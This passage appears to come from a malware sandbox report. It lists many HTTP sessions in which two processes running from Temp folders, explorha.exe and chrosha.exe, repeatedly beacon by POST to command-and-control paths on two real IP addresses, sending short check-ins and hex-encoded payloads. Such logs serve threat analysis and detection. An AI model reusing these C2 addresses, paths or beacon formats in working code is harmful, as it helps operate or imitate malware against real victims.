Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:44.971719027 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:45.214735031 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
386	192.168.2.5	50230	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:45.247432947 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:45.499214888 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
387	192.168.2.5	50231	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:45.467149973 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:45.720366001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
388	192.168.2.5	50232	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:45.753509045 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:46.006728888 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
389	192.168.2.5	50233	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:46.087783098 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:46.334772110 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
390	192.168.2.5	50234	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:46.365380049 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:46.610142946 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
391	192.168.2.5	50235	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:46.584413052 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:46.836993933 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
392	192.168.2.5	50236	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:46.855776072 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:47.102091074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
393	192.168.2.5	50237	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:47.202605009 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:47.454123974 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
394	192.168.2.5	50238	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:47.465522051 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:47.714258909 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
395	192.168.2.5	50239	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:47.705157995 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:47.956870079 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
396	192.168.2.5	50240	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:47.970500946 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:48.227771997 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
397	192.168.2.5	50241	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:48.322894096 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:48.571576118 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
398	192.168.2.5	50242	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:48.583036900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:48.826942921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
399	192.168.2.5	50243	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:48.825057983 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:49.079473972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
400	192.168.2.5	50244	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:49.074312925 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:49.323549032 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
401	192.168.2.5	50245	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:49.445554972 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:49.689218998 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
402	192.168.2.5	50246	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:49.684624910 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:49.936429024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
403	192.168.2.5	50247	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:49.941083908 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:50.193219900 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
404	192.168.2.5	50248	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:50.190536022 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:50.443768978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
405	192.168.2.5	50249	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:50.558159113 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:50.806752920 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
406	192.168.2.5	50250	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:50.801692009 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:51.045459986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
407	192.168.2.5	50251	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:51.057951927 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:51.310666084 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.5	50252	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
